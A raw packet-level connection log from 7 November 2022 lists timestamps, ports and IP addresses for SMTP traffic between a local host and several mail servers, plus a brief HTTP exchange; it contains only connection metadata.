Nov 7, 2022 22:24:34.685606003 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685611963 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685611963 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685632944 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685632944 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685647964 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685700893 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685722113 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685741901 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685755014 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685775042 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685792923 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685810089 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685813904 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685827017 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685831070 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685847044 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685851097 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685864925 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685879946 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.803070068 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:34.855590105 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:35.002146006 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002177954 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002252102 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.002315998 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.002752066 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002779007 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002794027 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002810955 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002821922 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.002826929 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002845049 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002861023 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002866030 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.002887964 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002907038 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002924919 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002942085 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002944946 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.002944946 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.002959013 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002976894 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.002980947 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.002994061 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003006935 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003010988 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003029108 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003040075 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003045082 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003062963 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003071070 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003081083 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003101110 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003118038 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003138065 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003155947 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003171921 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003187895 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003191948 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003191948 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003205061 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003221989 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003238916 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003254890 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003258944 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003258944 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003272057 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003288984 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003304005 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003305912 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.003339052 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.003364086 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.005929947 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.006134987 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.053884029 CET	80	49770	63.251.126.10	192.168.2.5
Nov 7, 2022 22:24:35.053987026 CET	49770	80	192.168.2.5	63.251.126.10
Nov 7, 2022 22:24:35.068063021 CET	49770	80	192.168.2.5	63.251.126.10
Nov 7, 2022 22:24:35.217940092 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:35.310014963 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:35.319909096 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.319927931 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.319938898 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.319951057 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.319962978 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.319969893 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.319982052 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.319984913 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.319993019 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320002079 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320014000 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320100069 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320108891 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320111990 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320108891 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320125103 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320136070 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320148945 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320179939 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320179939 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320199013 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320214033 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320224047 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320225954 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320286036 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320312023 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320324898 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320337057 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320348978 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320377111 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320409060 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320432901 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320441008 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320453882 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320498943 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320532084 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320557117 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320568085 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320579052 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320590019 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320637941 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320640087 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320637941 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320651054 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320662975 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320674896 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320687056 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320698977 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320709944 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320780039 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320780039 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320821047 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320830107 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320833921 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320846081 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320858002 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320868969 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320911884 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320915937 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320928097 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320951939 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.320960045 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.320971966 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321000099 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321000099 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.321011066 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321023941 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321034908 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321041107 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.321069002 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.321094990 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.321100950 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321146011 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321158886 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321170092 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321202040 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321232080 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.321233988 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321232080 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.321266890 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321268082 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:35.321280003 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321311951 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321324110 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321353912 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321363926 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321372032 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321382999 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321434021 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321516037 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321527004 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.321537971 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322638035 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322824001 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322835922 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322846889 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322858095 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322869062 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322896957 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322911978 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.322999954 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.323026896 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.323038101 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.323049068 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.323060036 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.323071003 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.363845110 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:35.364686966 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:35.393099070 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:35.419817924 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:35.456091881 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:35.463103056 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:35.481040001 CET	80	49770	63.251.126.10	192.168.2.5
Nov 7, 2022 22:24:35.481297970 CET	80	49770	63.251.126.10	192.168.2.5
Nov 7, 2022 22:24:35.481327057 CET	80	49770	63.251.126.10	192.168.2.5
Nov 7, 2022 22:24:35.481465101 CET	49770	80	192.168.2.5	63.251.126.10
Nov 7, 2022 22:24:35.516845942 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:35.519397974 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:35.554425955 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:35.608578920 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:35.636634111 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636661053 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636677027 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636692047 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636707067 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636723042 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636738062 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636753082 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636768103 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636782885 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636797905 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636837006 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636974096 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.636990070 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637005091 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637021065 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637036085 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637099028 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637115002 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637171984 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637188911 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637211084 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637227058 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637290001 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637305975 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637409925 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637425900 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637449026 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637466908 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637481928 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637604952 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637691975 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637707949 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637722969 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637737989 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637855053 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637870073 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637885094 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637901068 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637923956 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637975931 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.637991905 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638008118 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638024092 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638040066 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638055086 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638070107 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638086081 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638101101 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638115883 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638130903 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638148069 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638164997 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638180017 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638195992 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638211012 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638226986 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638262987 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638278961 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638293982 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638309956 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638339996 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638355970 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638370991 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638386965 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638402939 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638418913 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638433933 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638448954 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638464928 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638489962 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638505936 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638530016 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638545036 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638560057 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638612032 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638628960 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638659000 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638674974 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638690948 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638706923 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638722897 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638737917 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638755083 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638771057 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638799906 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638817072 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638834000 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638849020 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638864994 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638910055 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638926029 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638942003 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638957024 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638972998 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.638988018 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.639019966 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.639039040 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.639054060 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.639069080 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.639086008 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.639101028 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.639117002 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.639132977 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:35.674247026 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:35.732912064 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:35.816442013 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:35.818510056 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:35.818643093 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:35.881920099 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:35.895231962 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:35.960525036 CET	25	49772	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:35.960763931 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:36.020816088 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:36.021111965 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:36.074769020 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:36.075088024 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:36.105201006 CET	49770	80	192.168.2.5	63.251.126.10
Nov 7, 2022 22:24:36.105935097 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:36.105973959 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:36.106060982 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:36.111784935 CET	25	49772	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:36.122860909 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:36.180955887 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.181210041 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.225155115 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:36.225785971 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:36.244296074 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244337082 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244355917 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244386911 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244405985 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244405985 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.244421005 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244438887 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244455099 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.244457006 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244473934 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.244538069 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.244563103 CET	49758	25	192.168.2.5	74.125.200.27
